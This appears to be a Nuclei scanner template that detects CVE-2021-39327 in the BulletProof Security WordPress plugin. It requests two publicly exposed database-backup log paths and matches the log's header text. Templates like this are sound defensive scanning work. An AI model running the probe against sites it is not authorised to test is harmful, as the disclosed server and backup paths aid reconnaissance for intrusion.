id: CVE-2021-39327

info:
  name: WordPress BulletProof Security 5.1 Information Disclosure
  author: geeknik
  severity: medium
  description: The BulletProof Security WordPress plugin is vulnerable to sensitive information disclosure due to a file path disclosure in the publicly accessible ~/db_backup_log.txt file which grants attackers the full path of the site, in addition to the path of database backup files. This affects versions up to, and including, 5.1.
  reference:
    - https://packetstormsecurity.com/files/164420/wpbulletproofsecurity51-disclose.txt
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-39327
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39327
    - http://packetstormsecurity.com/files/164420/WordPress-BulletProof-Security-5.1-Information-Disclosure.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-39327
    cwe-id: CWE-200
    cpe: cpe:2.3:a:ait-pro:bulletproof_security:*:*:*:*:*:*:*:*
    epss-score: 0.09024
  tags: exposure,packetstorm,cve,cve2021,wordpress
  metadata:
    max-request: 2

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/bps-backup/logs/db_backup_log.txt'
      - '{{BaseURL}}/wp-content/plugins/bulletproof-security/admin/htaccess/db_backup_log.txt'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'BPS DB BACKUP LOG'
          - '=================='
        condition: and

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - 'text/plain'

# Enhanced by mp on 2022/03/23